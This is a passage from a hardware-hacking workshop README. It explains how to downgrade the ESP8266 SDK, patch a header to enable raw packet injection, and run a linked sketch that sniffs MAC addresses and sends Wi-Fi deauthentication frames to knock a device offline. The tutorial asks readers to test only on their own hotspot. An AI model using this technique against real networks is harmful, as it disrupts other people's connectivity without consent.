back to the last commit with SDK 1.3: `git checkout 5653b9a59baa25094c891d030214aa956bec452c` (If you have downloaded the zip directly using the link above, you can skip this step, since you already downloaded this version.) 365 | 366 | 8. Enter the `tools` directory: `cd tools` 367 | 368 | 9. Run the python script to get some additional binaries: `python get.py` 369 | 370 | ## Test the environment 371 | 372 | Now let's start the freshly downloaded arduino IDE. Open the previous `FakeBeaconESP8266` project, select the ESP8266 board and try to compile it. It should fail with an error: `'wifi_send_pkt_freedom' was not declared in this scope` since the definition of this function is missing from the header file. If it does not fail, then the IDE might uses the previously downloaded, newer SDK. On linux this is located under `~/.arduino15/packages/esp8266`. You can simply delete this folder and restart the arduino IDE. You can also delete it from the Board Manager, though I haven't tried it that way. 373 | 374 | Also you might not be able to see the ESP8266 boards under Tools > Board. It can be due to the fact that the IDE misses the `boards.txt` under `arduino-1.6.5-r5/hardware/esp8266com/esp8266`. If that's your case, simply [download the latest `boards.txt`](https://raw.githubusercontent.com/esp8266/Arduino/master/boards.txt) and place it there. 375 | 376 | If you have the `'wifi_send_pkt_freedom' was not declared in this scope` but no other error, then you can edit the header file. It is located under `arduino-1.6.5-r5/hardware/esp8266com/esp8266/tools/sdk/include/user_interface.h`. Simply add the following lines to the end of the file before the last line (before `#endif`): 377 | ```C++ 378 | typedef void (*freedom_outside_cb_t)(uint8 status); 379 | int wifi_register_send_pkt_freedom_cb(freedom_outside_cb_t cb); 380 | void wifi_unregister_send_pkt_freedom_cb(void); 381 | int wifi_send_pkt_freedom(uint8 *buf, int len, bool sys_seq); 382 | ``` 383 | Save the file and try to recompile the `FakeBeaconESP8266` project. It should succeed now. 384 | 385 | ## The code 386 | 387 | Download the code from [here](https://github.com/markszabo/Hacktivity2016/blob/master/deauth/deauth.ino). It sets up a timer to periodically send the deauth frames. It also sets up a promiscous callback function with `wifi_set_promiscuous_rx_cb(promisc_cb)` to sniff the traffic and parse the MAC addresses and sequence numbers out of it. 388 | 389 | To avoid disturbing other's wifi connection, please do not use the public wifi, but set up your own, **open** wifi with your phone and connect to it with your computer. Then note the MAC address of your computer and phone and add it to the 15th and 16th line: 390 | ```C++ 391 | uint8_t phone[6] = {0x58,0x44,0x98,0x13,0x80,0x6C}; 392 | uint8_t pc[6] = {0x1C,0x65,0x9D,0xB7,0x8D,0xC6}; 393 | ``` 394 | 395 | Then ping your phone from your computer and upload the code to the ESP8266. Open Serial Monitor and you should see it picking up your MAC address and the ping should start to fail. If you power the microcontroller off, ping should be back. 396 | --------------------------------------------------------------------------------